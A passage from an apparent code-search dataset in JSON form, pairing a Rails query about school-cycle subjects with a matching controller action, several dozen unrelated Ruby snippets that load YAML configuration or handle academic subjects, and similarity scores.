"def load_config(path)\n json = JSON.parse( File.binread(path) )\n\n $SETTINGS = {}\n $SETTINGS[:SRCS] = json['SRCS'].collect { |src| File.expand_path(src) }\n $SETTINGS[:IMG_RESIZE] = json['IMG_RESIZE']\n $SETTINGS[:USERNAME] = json['USERNAME']\n $SETTINGS[:PASSWORD] = json['PASSWORD']\n $SETTINGS[:BIND] = json['BIND']\n $SETTINGS[:PORT] = json['PORT']\n $SETTINGS[:DEFAULT_IMAGE_QUALITY] = json['DEFAULT_IMAGE_QUALITY']\n $SETTINGS[:DEFAULT_IMAGE_WIDTH] = json['DEFAULT_IMAGE_WIDTH']\n $SETTINGS[:DEFAULT_IMAGE_HEIGHT] = json['DEFAULT_IMAGE_HEIGHT']\n $SETTINGS[:BOOKMARKS_FILE] = File.expand_path( json['BOOKMARKS_FILE'] )\nend",
"def read_settings\n begin\n @settings = YAML::load_file(@path)\n rescue\n @settings = {}\n end\n end",
"def load(path, app)\n Dir.chdir(Hardwired::Paths.root || '.') do\n Dir.glob(path) do |file|\n $stderr.puts \"loading config file '#{file}'\" if app.logging?\n document = IO.read(file)\n @@config = RecursiveOpenStruct.new(config_for_env(YAML.load(document),app.environment) || {})\n return @@config \n end\n \n end\n end",
"def load\n config = YAML.load_file @config_path\n @path = config['steam']\n end",
"def configure_by_yaml(path=nil)\n unless path\n # Display file explorer\n path = Qt::FileDialog.getOpenFileName(self, \"Open configuration file\", \".\", \"YAML Files (*.yml *.yaml)\")\n end\n\n begin \n # Load configuration from YAML\n hash = YAML.load(open(path))\n \n # Sanity checks:\n error = nil\n \n if hash.keys.max > @container_hash.keys.max\n error = \"Higher position value in file than #containers available.\"\n elsif hash.size > @container_hash.size\n error = \"More config items in file than containers available.\"\n end\n \n if error\n msg_box = Qt::MessageBox.new\n msg_box.set_text(\"Problem with YAML import:\")\n msg_box.set_informative_text(error)\n msg_box.exec\n return\n end\n \n # Disconnect, update configuration and connect for each container\n hash.each do |pos, config|\n container = @container_hash[pos]\n container.disconnect\n container.configure_by_obj(config)\n container.connect if config\n end\n rescue Exception => e\n Vizkit.error \"A problem occured while trying to open '#{path}': \\n#{e.message}\"\n Vizkit.error e.backtrace.inspect \n end\n end",
"def initialize_from_yaml(path)\n # FIXME: It would be a lot cleaner if the YAML library would raise an\n # exception if it fails to read the file. We'll handle it like this for now\n # load_file just returns \"false\" if it fails\n yaml_data = YAML.load_file(path)\n\n unless yaml_data.nil?\n raise InitializationError.new(\"Bad YAML format, key/value pairs expected\") unless yaml_data.kind_of?(Hash)\n\n yaml_data.each do |variable, value|\n self.store(variable, value)\n end\n end\n\n after_initialize\n dump\n end",
"def load_yaml(path) # Path must be in /data\n # path must be a yaml file path\n YAML.load_file(File.join(__dir__, \"../data/#{path}.yml\"))\n # YAML keys will be allways strings (never symbols)\n # Returns hash of values (strings)\nend",
"def load_config(path=nil)\n\t\tbegin\n\t\t\tconf = Msf::Config.load(path)\n\t\trescue\n\t\t\twlog(\"Failed to load configuration: #{$!}\")\n\t\t\treturn\n\t\tend\n\n\t\t# If we have configuration, process it\n\t\tif (conf.group?(ConfigGroup))\n\t\t\tconf[ConfigGroup].each_pair { |k, v|\n\t\t\t\tcase k.downcase\n\t\t\t\t\twhen \"activemodule\"\n\t\t\t\t\t\trun_single(\"use #{v}\")\n\t\t\t\tend\n\t\t\t}\n\t\tend\n\tend",
"def setup\n preference_file = \"#{defaults[:root_dir]}/config.yml\"\n preferences = {}\n if File.exists? preference_file\n require 'yaml'\n File.open(preference_file) { |file| preferences = YAML.load(file) }\n end\n base_file_variations(absolute_paths(defaults.merge(preferences)))\n end",
"def load_config(file)\n @config = YAML.load_file(file)\n end",
"def load config\n \n # TODO better place for this?\n if config['log4r_config']\n ycfg = Log4r::YamlConfigurator\n # ycfg['foo'] = bar # replaces instances of #{foo} in the YAML with bar\n ycfg.load_yaml_string(YAML.dump(config))\n end\n \n # gah - log4r expects strings, so only convert to symbols here\n config.keys_to_symbols!\n \n # load all scrapers, and mix all shared fields into them\n config[:scrapers].each_pair do |group, included|\n \n shared_setup = {}\n scraper_setups = {}\n \n # load setups\n included.each_pair do |key, value|\n target = if is_scraper?(key)\n logger.info \"Loading scraper #{group}::#{key}\"\n scraper_setups\n else\n shared_setup\n end\n\n target[key] = value\n end\n \n # create each scraper when whole setup is present\n scrapers[group] = setup_scrapers(scraper_setups, shared_setup);\n end if config[:scrapers]\n end",
"def read_yaml(base, name)\n filename = File.join(base, name)\n\n begin\n content = File.read(filename)\n if content =~ Jekyll::Document::YAML_FRONT_MATTER_REGEXP\n content = $POSTMATCH # rubocop:disable Lint/UselessAssignment\n data = SafeYAML.load(Regexp.last_match(1))\n end\n rescue SyntaxError => e\n Jekyll.logger.warn \"YAML Exception reading #{filename}: #{e.message}\"\n raise e if site.config[\"strict_front_matter\"]\n rescue StandardError => e\n Jekyll.logger.warn \"Error reading file #{filename}: #{e.message}\"\n raise e if site.config[\"strict_front_matter\"]\n end\n\n data || {}\n end",
"def load_yml(filename); end",
"def initialize(yaml_path = YAML_PATH)\n @_configuration = if File.exist?(yaml_path)\n YAML.load_file(yaml_path)\n else\n {}\n end.freeze\n end",
"def read_configuration\n @config = {}\n @config_paths.map do |file|\n @section = nil; @pattern = nil; @mailto = nil\n # section, pattern, mailto are reset for every file (but not when included by 'include')\n parse_file( file )\n end.join($/)\n end",
"def load!(file)\n hash = {}\n YAML.load_file(file).each do |k, v|\n hash[Pathname(k)] = v.map{|vv| Pathname(vv) }\n end\n replace(hash)\n end",
"def load_config(config_file)\n YAML.load(File.open(config_file))\nend",
"def load_events (file_path)\n\n File.open(file_path) do |f|\n s = YAML.load_stream f\n s.documents\n end\n end",
"def read_yaml(base, name, opts = {})\n begin\n self.content = File.read(File.join(base, name),\n merged_file_read_opts(opts))\n if content =~ /\\A(---\\s*\\n.*?\\n?)^((---|\\.\\.\\.)\\s*$\\n?)/m\n self.content = $POSTMATCH\n self.data = SafeYAML.load($1)\n end\n rescue SyntaxError => e\n Jekyll.logger.warn \"YAML Exception reading #{File.join(base, name)}: #{e.message}\"\n rescue Exception => e\n Jekyll.logger.warn \"Error reading file #{File.join(base, name)}: #{e.message}\"\n end\n\n self.data ||= {}\n end",
"def read\n Fepath.logger.debug \"Reading: #{filepath}\"\n\n begin\n self.content = File.read(filepath)\n match_data = YAML_FRONT_MATTER_REGEXP.match(content)\n if match_data\n self.content = match_data.post_match\n self.attributes.merge!(YAML.load(match_data[1]))\n end\n rescue SyntaxError => e\n Fepath.logger.fatal \"YAML Exception reading #{filepath}: #{e.message}\"\n rescue Exception => e\n Fepath.logger.fatal \"Error reading file #{filepath}: #{e.message}\"\n end\n\n return self\n end",
"def load_file(definition)\n paths = definition.file\n\n paths.each do |path|\n ext = file_module.extname(path).strip.downcase[1..-1]\n parse_method = \"parse_#{ext}\"\n unless respond_to?(parse_method)\n fail \"extension (#{ext}), for (#{definition.key}: #{path}) \" +\n \"is not valid, only yaml and json are supported\"\n end\n\n if file_module.exists?(path)\n config = public_send(parse_method, path)\n unless config.is_a?(Hash)\n fail \"[config #{parse_method}] config must be a hash\"\n end\n config.deep_symbolize_keys!\n return config[definition.key]\n end\n end\n\n list = paths.join(',')\n fail \"none of :#{definition.key} config files exist at (#{list})\"\n end",
"def load(filename)\n files= filename.include?(',') ? filename.split(',') : [filename]\n @yml = files.inject({}) do |total_merge,file|\n total_merge.merge!(::YAML.load(ERB.new(File.read(\"#{yml_directory}/#{file}\")).result(binding)))\n end\n end",
"def load\n if File.exists? @file\n @main = YAML::load_file @file\n else\n self.load_defaults\n end\n end",
"def load(file = nil)\n @file = file if file\n @cfg = YAML.load_file(@file)\n end",
"def load\n @filename = File.expand_path(file_name('feeds.yml'))\n end",
"def load_config\n YAML::load_file(File.join(__dir__, '../config/config.yml'))\n end",
"def load_config\n create_yolo_dir\n unless File.exist?(yaml_path)\n @formatter.config_created(yaml_path)\n FileUtils.cp_r(File.dirname(__FILE__) + \"/config.yml\", yaml_path)\n end\n end",
"def load_from_file!\n return unless File.exists?(uservoice_configuration_file)\n\n config = ERB.new(IO.read(uservoice_configuration_file)).result\n configuration = YAML::load(config)\n self.merge!(configuration[\"uservoice\"])\n end",
"def load_configuration\n @config = {\n :start_date => Date.today - 1,\n :data_dir => default_data_dir\n }\n\n if File.exist?(config_file)\n @config = YAML.load_file(config_file)\n end\n\n @config\n end",
"def read_config(loc)\n if File.file?(loc) && File.readable?(loc)\n begin\n YAML.safe_load(File.read(loc), [], [], true)\n rescue StandardError => e\n PDK.logger.warn(_(\"'%{file}' is not a valid YAML file: %{message}\") % { file: loc, message: e.message })\n {}\n end\n else\n {}\n end\n end",
"def configure_with(path_to_yaml_file)\n if path_to_yaml_file\n begin\n config = YAML.load(IO.read(path_to_yaml_file))\n rescue Errno::ENOENT\n @log.warn(\n \"YAML configuration file couldn\\'t be found at \" \\\n \"#{path_to_yaml_file}. Using defaults.\")\n return @config\n rescue Psych::SyntaxError\n @log.warn(\n 'YAML configuration file contains invalid syntax. Using defaults.')\n return @config\n end\n else\n config = {}\n end\n\n configure(config)\n end",
"def parse_config_file(file)\n return {} unless File.exist?(file)\n\n case File.extname(file)\n when /\\.conf$/i\n parse_conf_file(file)\n when /\\.json$/i\n Oj.load_file(file, mode: :strict, symbol_keys: true)\n when /\\.ya?ml$/i\n begin\n require 'safe_yaml/load'\n SafeYAML.load_file(file) || {}\n rescue LoadError\n # Re-raise with a more descriptive message. This should generally\n # abort the configuration loading.\n raise LoadError.new(%{Could not load the requested resource. Please install the 'safe_yaml' gem via\nBundler or directly, and try loading again.\n})\n end\n end\n end",
"def read!\n file = root + FILENAME\n if file.exist?\n data = YAML.load(File.new(file))\n data.each do |name, value|\n self[name] = value\n end\n end\n return self\n end",
"def parse_config \n path = \"#{Rails.root}/config/mebla.yml\"\n return unless File.exists?(path)\n \n conf = YAML::load(ERB.new(IO.read(path)).result)[Rails.env]\n \n conf.each do |key,value|\n self.send(\"#{key}=\", value) if self.respond_to?(\"#{key}=\")\n end unless conf.nil?\n end"
] |
[
"0.64147174",
"0.6405994",
"0.6370983",
"0.6341235",
"0.6307997",
"0.6246298",
"0.616635",
"0.6074817",
"0.6064165",
"0.6048362",
"0.60279423",
"0.5988539",
"0.5932992",
"0.5883497",
"0.5875856",
"0.5869258",
"0.5860466",
"0.58380675",
"0.58353287",
"0.5823937",
"0.58114713",
"0.57946575",
"0.5792501",
"0.57811815",
"0.5745148",
"0.5733162",
"0.5724579",
"0.5716093",
"0.5714772",
"0.570745",
"0.5686544",
"0.56816953",
"0.56722754",
"0.5671288",
"0.5658284",
"0.5653791",
"0.5637179",
"0.562208",
"0.56211776",
"0.55777544",
"0.5576256",
"0.55521214",
"0.55472875",
"0.55203533",
"0.5498054",
"0.5492317",
"0.54898316",
"0.5488545",
"0.54758257",
"0.54675376",
"0.54633945",
"0.5458328",
"0.5446048",
"0.5443654",
"0.5435192",
"0.54342955",
"0.54306483",
"0.5419051",
"0.5396532",
"0.53938854",
"0.5388823",
"0.53849494",
"0.5376826",
"0.5376703",
"0.53755325",
"0.5374215",
"0.5360894",
"0.5355502",
"0.5354243",
"0.53290313",
"0.53216904",
"0.5315018",
"0.53073335",
"0.529583",
"0.5268368",
"0.5266675",
"0.52665544",
"0.52636784",
"0.52602077",
"0.52525777",
"0.5248692",
"0.5239168",
"0.52386105",
"0.523819",
"0.5233944",
"0.52201533",
"0.5219627",
"0.5214343",
"0.5201887",
"0.51958954",
"0.5194638",
"0.51869416",
"0.51849294",
"0.5179809",
"0.5169151",
"0.51646924",
"0.51622236",
"0.5156527",
"0.51433754",
"0.51431787"
] |
0.7753792
|
0
|
GET /school_cycle_has_subjects GET /school_cycle_has_subjects.json
|
def index
@school_cycle_has_subjects = SchoolCycleHasSubject.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_subjects\n if params[:c].present?\n sc_id = params[:c].to_i\n subjects = Subject.joins(:school_cycle_has_subjects).where(\"school_cycle_id = ?\", sc_id)\n msg = { \"success\": \"true\", \"subjects\": subjects }\n else\n msg = { \"success\": false, \"subjects\": 0 }\n end\n\n render json: msg\n end",
"def get_subjects\n if params[:s].present?\n s_id = params[:s].to_i\n subjects_by_student = Subject.joins(\"INNER JOIN school_cycle_has_subjects ON subjects.id = school_cycle_has_subjects.subject_id INNER JOIN student_has_subjects ON school_cycle_has_subjects.id = student_has_subjects.school_cycle_has_subject_id\").where(\"student_id = ?\", s_id)\n msg = { \"success\": \"true\", \"subjects\": subjects_by_student }\n else\n msg = { \"success\": false, \"subjects\": 0 }\n end\n\n render json: msg\n end",
"def cellect_subjects(workflow_id)\n cellect.get '/subjects', workflow_id: workflow_id\n end",
"def list_subjects\r\n #TODO only list subjects from my own schools \r\n #because then people can still it \r\n school = School.find(params[:nid]) rescue render_return\r\n render_return if !logged_in_user.see_course?(school)\r\n render_p 'course_display/course_selection',{'caller'=>params[:caller],'school'=>school}\r\n end",
"def set_school_cycle_has_subject\n @school_cycle_has_subject = SchoolCycleHasSubject.find(params[:id])\n end",
"def list_subjects(study_id)\n act = SubjectListAction.new(self)\n act.get(study_id)\n end",
"def get_subject_by_curricular_line\n @subjects = Subject.get_by_career(params[:career_id],params[:cl_id])\n render :json => @subjects\n end",
"def show\n if params[:subject_id]\n @subject = Subject.find(params[:subject_id])\n #category = Category.find(params[:category_id])\n @tutorials = Tutorial.where(:subject_id => @subject)\n else\n @tutorials = Tutorial.all\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subject }\n end\n end",
"def show\n @subjects = @teacher.subjects\n respond_with @teacher\n end",
"def index\n @manual_subjects = Manual::Subject.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @manual_subjects }\n end\n end",
"def index\n @program_subjects = ProgramSubject.all\n end",
"def index\n @course_subjects = CourseSubject.all\n end",
"def all_subjects\n Subject.current.where(site_id: all_editable_sites.select(:id))\n end",
"def index\n @thesubjects = Thesubject.all\n end",
"def collect_subjects_with_curriculums( school_class )\n subjects = school_class.curriculums.collect do |c|\n [ c.qualification.subject.subject_name, c.id ]\n end\n end",
"def index\n @university_subjects = UniversitySubject.all\n end",
"def index\n @student_subjects = StudentSubject.all\n end",
"def show\n @curriculums_subject = CurriculumsSubject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @curriculums_subject }\n end\n end",
"def index\n @subjects = Subject.all\n end",
"def index\n @subjects = Subject.all\n end",
"def school_cycle_has_subject_params\n params.require(:school_cycle_has_subject).permit(:school_cycle_id, :teacher_id, :subject_id, :lunes, :martes, :miercoles, :jueves, :viernes, :sabado, :horario_clases)\n end",
"def index\n get_work; get_subject\n if @work\n @work_has_subjects = @work.work_has_subjects.page(params[:page])\n elsif @subject\n @work_has_subjects = @subject.work_has_subjects.page(params[:page])\n else\n @work_has_subjects = WorkHasSubject.page(params[:page])\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @work_has_subjects }\n end\n end",
"def index\n @subjects = Subject.all\n \n end",
"def subject(instructor, school)\n school[:instructors].each do |i|\n return i[:subject] if i[:name] == instructor\n end\nend",
"def index\n @mysubjects = Mysubject.all\n end",
"def count_subjects\n Subject.count(:id)\n end",
"def index\n @subjects = subject_scope\n end",
"def for_subjects(subjects)\n result = Hash[subjects.map {|node| [node, false]}]\n subjects_by_id = Hash[subjects.map {|subject| [subject.id, subject]}]\n subject_rlshp_sources = Hash.new { |h, k| h[k] = [] }\n [:subject, :subject_agent_subrecord, :subject_agent_subrecord_place].each do |t|\n Subject.relationship_dependencies[t].each { |d| subject_rlshp_sources[d] << t }\n end\n\n subject_rlshp_sources.each do |model, sources|\n sources.each do |source|\n # i.e. one or more: subject_rlshp, subject_agent_subrecord_rlshp, subject_agent_subrecord_place_rlshp\n link_relationship = model.find_relationship(source)\n link_table = link_relationship.table_name\n\n link_relationship.reference_columns_for(model).each do |model_link_column|\n link_relationship.reference_columns_for(Subject).each do |subject_link_column|\n # Join subject_rlshp to (e.g.) accession\n linked_records = model\n .join(link_table,\n Sequel.qualify(link_table, model_link_column) => Sequel.qualify(model.table_name, :id))\n .filter(Sequel.qualify(link_table, subject_link_column) => subjects_by_id.keys)\n .select(Sequel.qualify(model.table_name, :id),\n Sequel.qualify(model.table_name, :publish),\n Sequel.qualify(model.table_name, :suppressed),\n Sequel.as(Sequel.qualify(link_table, subject_link_column),\n :subject_id))\n\n if model.columns.include?(:repo_id)\n linked_records = linked_records\n .select_append(Sequel.as(Sequel.qualify(model.table_name, :repo_id),\n :repository_id))\n end\n\n published_status = if model.included_modules.include?(TreeNodes)\n for_tree_nodes(linked_records\n .select_append(Sequel.qualify(model.table_name, :parent_id),\n Sequel.qualify(model.table_name, :root_record_id))\n .all)\n elsif model.to_s =~ /^Agent/\n for_agents_linked_to_subject(linked_records.all)\n else\n for_top_level_records(linked_records.all)\n end\n\n published_status.each do |linked_record, published|\n if published\n result[subjects_by_id.fetch(linked_record[:subject_id])] = true\n end\n end\n end\n end\n end\n end\n\n result\n end",
"def index\n @tutor_subjects = TutorSubject.all\n end",
"def handle_subjects(subjects)\n subjects.each do |link|\n subject = link['_resolved']\n term, *terms = subject['terms']\n code, ind2 = case term['term_type']\n when 'uniform_title'\n ['630', source_to_code(subject['source'])]\n when 'temporal'\n ['648', source_to_code(subject['source'])]\n # LOCAL: hack to export buildings as 610s, part 1\n when 'topical'\n if subject['source'] == 'built'\n ['610', '7']\n else\n ['650', source_to_code(subject['source'])]\n end\n when 'geographic', 'cultural_context'\n ['651', source_to_code(subject['source'])]\n when 'genre_form', 'style_period'\n ['655', source_to_code(subject['source'])]\n when 'occupation'\n ['656', '7']\n when 'function'\n ['656', '7']\n else\n ['650', source_to_code(subject['source'])]\n end\n sfs = [['a', term['term']]]\n\n terms.each do |t|\n tag = case t['term_type']\n when 'uniform_title'; 't'\n when 'genre_form', 'style_period'; 'v'\n # LOCAL: occupation == 'x'\n when 'topical', 'cultural_context', 'occupation'; 'x'\n when 'temporal'; 'y'\n when 'geographic'; 'z'\n end\n sfs << [tag, t['term']]\n end\n\n # LOCAL: hack to export buildings as 610s, part 2\n if ind2 == '7'\n if subject['source'] == 'built'\n sfs << ['2', 'local']\n else\n sfs << ['2', subject['source']]\n end\n end\n\n ind1 = code == '630' ? \"0\" : \" \"\n df!(code, ind1, ind2).with_sfs(*sfs)\n end\n end",
"def subjects\n links = frm.table(:class=>\"listHier\").links.find_all { |link| link.title=~/View announcement/ }\n subjects = []\n links.each { |link| subjects << link.text }\n return subjects\n end",
"def handle_subjects(subjects)\n subjects.each do |link|\n subject = link['_resolved']\n term, *terms = subject['terms']\n code, ind2 = case term['term_type']\n when 'uniform_title'\n ['630', source_to_code(subject['source'])]\n when 'temporal'\n ['648', source_to_code(subject['source'])]\n when 'topical'\n ['650', source_to_code(subject['source'])]\n when 'geographic', 'cultural_context'\n ['651', source_to_code(subject['source'])]\n when 'genre_form', 'style_period'\n ['655', source_to_code(subject['source'])]\n when 'occupation'\n ['656', '7']\n when 'function'\n ['656', '7']\n else\n ['650', source_to_code(subject['source'])]\n end\n sfs = [['a', term['term']]]\n\n terms.each do |t|\n tag = case t['term_type']\n when 'uniform_title'; 't'\n when 'genre_form', 'style_period'; 'v'\n when 'topical', 'cultural_context'; 'x'\n when 'temporal'; 'y'\n when 'geographic'; 'z'\n end\n sfs << [tag, t['term']]\n end\n\n if ind2 == '7'\n sfs << ['2', subject['source']]\n end\n\n # add authority ID as subject 6xx $0\n authority_id = subject['authority_id']\n subfield_0 = authority_id ? [0, authority_id] : nil\n sfs.push(subfield_0) unless subfield_0.nil?\n\n ind1 = code == '630' ? \"0\" : \" \"\n df!(code, ind1, ind2).with_sfs(*sfs)\n end\n end",
"def index\n @user_subjects = UserSubject.all\n end",
"def index\n @subjects = Subject.all\n #respond_to do |format|\n # format.json { render json: @subjects, status: :ok }\n #end\n #render json: @subjects, status: :ok\n respond_with @subjects\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @work_has_subject }\n end\n end",
"def show\n @subject = Subject.find(params[:id])\n @chapters = @subject.chapters.page(params[:page])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subject }\n end\n end",
"def subject(subject_id, project_id: nil)\n query = {}\n query[:project_id] = project_id if project_id\n\n response = panoptes.get(\"/subjects/#{subject_id}\", query)\n if response.fetch('subjects', []).count > 1\n raise StandardError, 'Unexpectedly many subjects returned'\n end\n\n response.fetch('subjects', []).fetch(0, nil)\n end",
"def subjects_taught_question(school_name:)\n translate(\"student_loans.questions.subjects_taught\", school: school_name, financial_year: StudentLoans.current_financial_year)\n end",
"def subjects\n @graphs.inject([]) {|memo, g| memo += g.subjects}\n end",
"def show\n \n id = params[:id].to_i\n \n if id == 0\n @subject = Subject.find_by_subject(params[:id])\n else \n @subject = Subject.find(params[:id])\n end\n \n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subject }\n end\n end",
"def index\n @subjects = @client.subjects\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @subjects }\n end\n end",
"def subjects\n bib_subjects || get_item_data_by_name('Subject')\n end",
"def show\n @subject = @client.subjects.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subject }\n end\n end",
"def all_viewable_subjects\n Subject.current.where(site_id: all_viewable_sites.select(:id))\n end",
"def index\n @career_subjects = CareerSubject.all\n end",
"def index\n @subject_courses_relations = SubjectCoursesRelation.all\n end",
"def show\n @subject = Subject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subject }\n end\n end",
"def study_subjects_conditions\n\t\tunless q.blank?\n\t\t\tstudy_subjects = StudySubject.search(:q => q, :paginate => false)\n\t\t\tstudy_subject_ids = study_subjects.collect(&:id)\n\t\t\t['abstracts.study_subject_id IN (:study_subject_ids)', \n\t\t\t\t{ :study_subject_ids => study_subject_ids } ]\n\t\tend\n\tend",
"def handle_subjects(subjects)\n subjects.each do |link|\n subject = link['_resolved']\n term, *terms = subject['terms']\n ind1 = ' '\n code, *ind2 = case term['term_type']\n when 'uniform_title'\n value = term['term'].split(\" \")[0]\n first_indicator = '0'\n if value\n hsh = {}\n hsh['A'] = '2'\n hsh['An'] = '3'\n hsh['The'] = '4'\n articles = []\n articles = hsh.keys\n first_indicator = hsh[value] if articles.include?(value)\n end\n ['630', first_indicator, source_to_code(subject['source'])]\n when 'temporal'\n ['648', source_to_code(subject['source'])]\n when 'topical'\n ['650', source_to_code(subject['source'])]\n when 'geographic', 'cultural_context'\n ['651', source_to_code(subject['source'])]\n when 'genre_form', 'style_period'\n ['655', source_to_code(subject['source'])]\n when 'occupation'\n ['656', '7']\n when 'function'\n ['656', '7']\n else\n ['650', source_to_code(subject['source'])]\n end\n\n sfs = [['a', term['term']]]\n\n terms.each do |t|\n tag = case t['term_type']\n when 'uniform_title'; 't'\n when 'genre_form', 'style_period'; 'v'\n when 'topical', 'cultural_context'; 'x'\n when 'temporal'; 'y'\n when 'geographic'; 'z'\n end\n sfs << [tag, t['term']]\n end\n\n # code borrowed from Yale to export subject authority id\n unless subject['authority_id'].nil?\n sfs << ['0', subject['authority_id']]\n end\n\n \n # N.B. ind2 is an array at this point.\n if ind2[0] == '7'\n sfs << ['2', subject['source']]\n end\n\n # adding this code snippet because I'm making ind2 an array\n # for code 630 if the title begins with an article\n if (ind2.is_a?(Array) && code == '630')\n ind1, ind2 = ind2\n else\n ind2 = ind2[0]\n end\n\n df!(code, ind1, ind2).with_sfs(*sfs)\n end\n end",
"def unfinished_subjects(param = nil)\n @unfinished_subjects ||= plan_subjects - self.finished_subjects\n\n if param == :subjects\n return @unfinished_subjects.map {|p| p.subject}\n else\n return @unfinished_subjects\n end\n end",
"def list_subjects_from_metaportal(url)\n act = MetaportalSubjectListAction.new(self)\n act.get(url)\n end",
"def show\n\t\t@param_subjects = ParamSubject.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json {render json: @param_subjects}\n\t\tend\n\tend",
"def index\n @q = Subject.search(params[:q])\n @subjects = @q.result(distinct: true).page(params[:page])\n end",
"def get_chapters\n @subject = Subject.find(params[:id]) unless params[:id].blank?\n if current_user.is?(\"EA\") or current_user.is?(\"IA\")\n list = @subject.chapters.map {|u| Hash[value: u.id, name: u.name]}\n else\n chapter_ids = ContentUserLayout.get_unlocked_chapters(@subject,current_user)\n if !chapter_ids.nil?\n list = @subject.chapters.where(:id=>chapter_ids).map {|u| Hash[value: u.id, name: u.name]}\n else\n list = @subject.chapters.map {|u| Hash[value: u.id, name: u.name]}\n end\n end\n render json: list\n end",
"def subjects\n curriculums = self.curriculums\n out = []\n\n unless curriculums.empty?\n qualifications = curriculums.collect{ |c| c.qualification }\n\n unless qualifications.empty?\n out = qualifications.collect{ |q| q.subject }\n end\n end\n\n out\n end",
"def get_group\n if params[:stu].present? && params[:sub].present?\n student_id = params[:stu].to_i\n subject_id = params[:sub].to_i\n student_subject = StudentHasSubject.joins(:school_cycle_has_subject).where(\"student_id = ? AND subject_id = ?\", student_id, subject_id).first\n if student_subject.present?\n msg = { \"success\": \"true\", \"student_subject\": student_subject.id }\n else\n msg = { \"success\": false, \"student_subject\": nil }\n end\n else\n msg = { \"success\": false, \"student_subject\": nil }\n end\n\n render json: msg\n end",
"def subjects\n subjects_array = object.syncable_subjects.to_a\n\n return subjects_array unless object.is_send?\n\n subjects_array << Subject.new(subject_code: \"U3\", subject_name: \"Special Educational Needs\")\n\n subjects_array\n end",
"def get_authorization_subjects_me_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: AuthorizationApi.get_authorization_subjects_me ...\"\n end\n \n # resource path\n local_var_path = \"/api/v2/authorization/subjects/me\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AuthzSubject')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AuthorizationApi#get_authorization_subjects_me\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def browsing_subjects?\n model_table_name == 'subjects'\n end",
"def index\n # @subjects = Subject.page(params[:page])\n @subjects = case current_user.role.name\n when 'Edutor Admin'\n Subject.page(params[:page])\n when 'Institute Admin'\n #Subject.by_boards_and_published_by(current_user.institution.board_ids,current_user.institution.publisher_ids).page(params[:page])\n Subject.where(:board_id=>current_user.institution.board_ids).page(params[:page])\n when 'Center Representative'\n #Subject.by_boards_and_published_by(current_user.center.board_ids,current_user.institution.publisher_ids).page(params[:page])\n Subject.where(:board_id=>current_user.center.board_ids).page(params[:page])\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @subjects.map{|u| Hash[id: u.id, name: u.name]} }\n end\n end",
"def get_students\n @course = Course.find(params[:course_id])\n\n render json: @course.students\n end",
"def subjects_without_concidering_versions(options={})\n render_without_concidering_versions(options.merge(:only => :subjects)) unless @subjects_rendered\n @subjects\n end",
"def index\n @exam_subjects = ExamSubject.all\n end",
"def index\n logged_in\n if @current_user.teacher?\n @subjects = Subject.where(teacher_id: @current_user.id)\n elsif @current_user.student?\n @subjects = Subject.where(id: Relation.select(:subject_id).where(student_id: @current_user.id))\n else\n @subjects = Subject.all\n end\n end",
"def show\n @manual_subject = Manual::Subject.find(params[:id])\n\n redirect_to manual_subject_laboratories_path(@manual_subject)\n end",
"def index\n @subjectms = Subjectm.all\n end",
"def timetables_for_teacher_with_subject( teacher, subject_name, school_class )\n tt = [] # Output timetables\n subject = teacher.subjects.where(:subject_name => subject_name).first # Get subject for teacher.\n subject_qualification = teacher.qualifications.where(:subject_id => subject.id).first # Qualification for subject.\n curriculums = subject_qualification.curriculums # Get all curriculums\n curriculums.each { |c| tt << c.timetables } # Collecting all timetables.\n tt.flatten.select{|t| t.school_class.class_code == school_class.class_code } # To 1 dimension array (because of many-to-one). Then finding all timetables for 1 SCHOOL CLASS.\n end",
"def all_subjects\n observations + profile_users + glossary_terms\n end",
"def index\n @subjects_users = SubjectsUser.all\n end",
"def index\n @curriculum_subjects = Subject.all.where(is_core: false, is_pivats: false, is_lunch: false, is_tutorial: false, is_ppa: false)\n @core_subjects = Subject.all.where(is_core: true, is_pivats: false)\n authorize @curriculum_subjects\n\n @subject = Subject.new\n @subject.sub_subjects.build\n # authorize @curriculum_subjects\n\n end",
"def extract_subjects(subject)\n if subject.is_a?(Hash) && subject.key?(:any)\n subject[:any]\n else\n [subject]\n end\n end",
"def process_subjects(subjects_arr)\n return_arr = []\n subjects_arr.each do |subject|\n unless subject['_resolved'].blank?\n return_arr.push(subject['_resolved'])\n end\n end\n return_arr\n end",
"def index\n @subject = Subject.find(params[:subject_id])\n \n end",
"def subject_versions(subject)\n get \"/subjects/#{subject}/versions\"\n end",
"def get_subject(school, instructor_name)\n school[:instructors].each do |instructor|\n if instructor_name == instructor[:name]\n puts instructor[:subject]\n end\n end\nend",
